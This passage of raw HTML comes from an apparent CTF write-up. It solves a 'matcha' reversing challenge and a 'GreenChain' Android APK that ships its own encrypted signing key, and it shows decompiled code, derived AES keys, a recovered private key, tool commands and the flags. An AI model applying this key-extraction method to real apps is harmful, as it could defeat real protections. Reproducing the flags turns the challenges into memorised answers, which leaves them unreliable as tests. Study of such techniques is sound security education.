&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    c &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; int&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(line, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    m &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; pow&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(c, d, D)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    n &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; max&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, (m.bit_length() &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 7&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;    out &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; max&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;((unkey(S, i, n) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; S &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (m, m&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;D)),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;               key&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;=lambda&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; r: &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;sum&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;20&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; &amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;7f&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; r))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(out.decode())&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;getting-and-testing-the-flag&quot;&gt;Getting and testing the flag&lt;/h3&gt;
&lt;p&gt;The challenge files are here: &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/matcha/matcha&quot;&gt;matcha&lt;/a&gt;
(14 KB), &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/matcha/flag.enc&quot;&gt;flag.enc&lt;/a&gt; (85 B), and
&lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/matcha/solve_matcha.py&quot;&gt;solve_matcha.py&lt;/a&gt; (8 KB),
which is the solver written out as a script.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Keep the original &lt;code&gt;flag.enc&lt;/code&gt; untouched.&lt;/li&gt;
&lt;li&gt;Confirm the shape: &lt;code&gt;file&lt;/code&gt;, &lt;code&gt;strings -n 5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Disassemble, find &lt;code&gt;main&lt;/code&gt;, read the round function and the constants.&lt;/li&gt;
&lt;li&gt;Test the model against the real binary with a chosen input.&lt;/li&gt;
&lt;li&gt;Factor &lt;code&gt;D&lt;/code&gt;, invert &lt;code&gt;e&lt;/code&gt;, and run the solver.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed is-terminal&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# 1-3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;cp&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; flag.enc&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; flag.enc.orig&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;chmod&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; +x&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; matcha&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;strings&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -n&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; matcha&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt; tail&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -8&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;objdump&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -M&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; intel&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; matcha&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; matcha.disasm.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# 4: known-answer test, then check the model reproduces it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; &apos;AAAABBBBCCCCDDDDEEEE&apos;&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; flag.txt&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;./matcha&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; &amp;#x26;&amp;#x26; &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; flag.enc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# 5: factor and decrypt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; solve_matcha.py&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; flag.enc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# BDD{03d5a29801f0f97e40d84e83eb53562d}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The test is the part I care about. The recovered plaintext goes back into the
&lt;strong&gt;unmodified challenge binary&lt;/strong&gt;:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed is-terminal&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;printf &apos;BDD{03d5a29801f0f97e40d84e83eb53562d}&apos; &gt; flag.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;./matcha&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;diff flag.enc flag.enc.orig &amp;#x26;&amp;#x26; echo IDENTICAL&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--output&quot;&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;IDENTICAL&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That check does not involve my solver at all. The binary that made the ciphertext
regenerates it byte-for-byte from the flag I claim it contains, which is about as
close to proof as a reversing challenge allows.&lt;/p&gt;
&lt;h2 id=&quot;greenchain-an-android-vault-that-ships-its-own-key&quot;&gt;GreenChain: an Android vault that ships its own key&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;GreenChain.apk&lt;/code&gt;, package &lt;code&gt;com.invoxes.greenchain&lt;/code&gt;, with exactly one permission,
and it is AndroidX’s auto-generated local receiver permission. No
&lt;code&gt;android.permission.INTERNET&lt;/code&gt;. The whole challenge is offline, and no emulator or
device was needed.&lt;/p&gt;
&lt;p&gt;The APK has five dex files. &lt;code&gt;classes.dex&lt;/code&gt; is 11 MB of AndroidX and &lt;code&gt;classes2.dex&lt;/code&gt;
is 514 KB of Material. The challenge lives in the small ones: &lt;code&gt;classes3.dex&lt;/code&gt;
(6.6 KB) and &lt;code&gt;classes4.dex&lt;/code&gt; (10.4 KB), which decompile to five classes total.
Starting from the smallest dex files is the shortcut here, and it saves reading
11 MB of library code looking for something that was never there.&lt;/p&gt;
&lt;p&gt;Three assets carry the whole puzzle:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;assets/season.txt    4 bytes   &quot;2026&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;assets/steward.dat  96 bytes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;assets/flag.dat     64 bytes&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;96 bytes is a 16-byte IV plus 80 bytes of ciphertext, five AES blocks. 64 bytes is
16 plus 48, three blocks. Both blobs are IV-prefixed AES-CBC, which the
decompiled &lt;code&gt;StewardVault&lt;/code&gt; confirms.&lt;/p&gt;
&lt;h3 id=&quot;the-app-verifies-it-never-signs&quot;&gt;The app verifies, it never signs&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;StewardClaim.verifyAndUnlock()&lt;/code&gt; checks a signature against a hard-coded public
key, and only then decrypts the flag:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;java&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;byte&lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;[] &lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;digest&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; StewardVault.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;claimMessageDigest&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;();          &lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;// SHA256(&quot;greenchain-claim:v1&quot;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;boolean&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; valid&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; Secp256k1.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;verifyClaimSignature&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(digest, signatureHex,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;                                               StewardVault.STEWARD_PUBKEY_HEX);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;valid) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; Result.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;fail&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;Invalid steward signature.&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; privHex&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; StewardVault.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;decryptStewardPrivateKeyHex&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(context);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; flag&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;    =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; StewardVault.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;decryptFlag&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(context, privHex);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; Result.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;ok&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(flag);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The signature check looks like the barrier. It is not, because the private key
that satisfies it is shipped inside the APK, encrypted under a key derived
entirely from public constants:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;java&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; material&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; c.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;getPackageName&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt; buildSalt&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(c);   &lt;/span&gt;&lt;span style=&quot;color:#768390&quot;&gt;// &quot;com.invoxes.greenchain&quot; + &quot;eco-2026&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;byte&lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;[] &lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;digest&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;   =&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt; sha256&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(material.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;getBytes&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(UTF_8));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;byte&lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;[] &lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;key&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;      =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; Arrays.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;copyOf&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(digest, &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The package name is in the manifest, &lt;code&gt;eco-&lt;/code&gt; is a literal in the source, and the
season ships in &lt;code&gt;assets/season.txt&lt;/code&gt;. So:&lt;/p&gt;

























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Derivation&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;salt&lt;/td&gt;&lt;td&gt;&lt;code&gt;eco-2026&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AES-128 key for &lt;code&gt;steward.dat&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;SHA256(&quot;com.invoxes.greenchaineco-2026&quot;)[:16]&lt;/code&gt; = &lt;code&gt;90034cebb6a7868d233884eedb45d723&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;decrypted steward key&lt;/td&gt;&lt;td&gt;&lt;code&gt;d92b206f1525872e69988c816811f57c6085978e3aa37013baf956adaf8ab5fe&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;AES-128 key for &lt;code&gt;flag.dat&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;SHA256(steward_hex + &quot;flag&quot;)[:16]&lt;/code&gt; = &lt;code&gt;4ff5baa7f6db11fb0883c1553eba510d&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3 id=&quot;the-check-that-makes-this-airtight&quot;&gt;The check that makes this airtight&lt;/h3&gt;
&lt;p&gt;Decrypting something to a plausible-looking string is not proof that I found the
right key. The proof here is a cryptographic identity check: derive the secp256k1
public key from the recovered private key and compare it to the constant the app
trusts.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;derived pub : 041c44e3f125897027892cd90ae3b4246ad4c65a99bccdf3cd3f0b34a754a9da&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              3e550e1e0085d65707e98321a15543c8fe8fc80be3200a4ab79ec0fd0e5d5158d7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;APK pub     : 041c44e3f125897027892cd90ae3b4246ad4c65a99bccdf3cd3f0b34a754a9da&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;              3e550e1e0085d65707e98321a15543c8fe8fc80be3200a4ab79ec0fd0e5d5158d7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;MATCH       : yes&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Exact match. The key recovered from the asset is the steward key the app trusts,
not a key that happens to decrypt something.&lt;/p&gt;
&lt;h3 id=&quot;getting-and-testing-the-flag-1&quot;&gt;Getting and testing the flag&lt;/h3&gt;
&lt;p&gt;The files are here: &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/greenchain/GreenChain.apk&quot;&gt;GreenChain.apk&lt;/a&gt;
(9.6 MB) and &lt;a href=&quot;https://0xblu3guy.github.io/blog/files/blubank-ctf-writeups/greenchain/greenchain_solve.py&quot;&gt;greenchain_solve.py&lt;/a&gt;
(10 KB). The APK is the challenge artifact itself, unmodified.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Read the manifest: package name, SDK, permissions.&lt;/li&gt;
&lt;li&gt;Unpack the dex files and the assets.&lt;/li&gt;
&lt;li&gt;Decompile the two small dex files and read &lt;code&gt;StewardVault&lt;/code&gt; / &lt;code&gt;StewardClaim&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Derive the AES key from the package name and the season, decrypt
&lt;code&gt;steward.dat&lt;/code&gt; to get the private key.&lt;/li&gt;
&lt;li&gt;Confirm that key against the hard-coded public key.&lt;/li&gt;
&lt;li&gt;Derive the flag key from the private key and decrypt &lt;code&gt;flag.dat&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed is-terminal&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# 1-2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;aapt&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; dump&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; badging&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; GreenChain.apk&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt; head&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;aapt&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; dump&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; permissions&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; GreenChain.apk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;unzip&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; GreenChain.apk&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; &apos;classes*.dex&apos;&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; &apos;assets/*&apos;&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; gc&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# 3: jadx wants ABSOLUTE paths and a non-existent output dir&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;jadx&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; gc/src3&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; --no-res&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;$PWD&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;/gc/classes3.dex&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;jadx&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; -d&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; gc/src4&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; --no-res&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;$PWD&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;/gc/classes4.dex&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# 4-6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line line--cmd&quot;&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; greenchain_solve.py&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt; gc/assets&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#768390&quot;&gt;# BDD{steward_signed_the_green_chain}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two &lt;code&gt;jadx&lt;/code&gt; details cost me time. It resolves relative APK paths against its own
install directory, so the APK argument has to be absolute. It also wants to create
its output directory itself, so a &lt;code&gt;mkdir -p&lt;/code&gt; beforehand fails with &lt;code&gt;Can&apos;t create directory .../sources&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The flag was decrypted a second time with the &lt;strong&gt;OpenSSL CLI&lt;/strong&gt; rather than my
solver, so a bug in my own AES code could not produce a false positive:&lt;/p&gt;
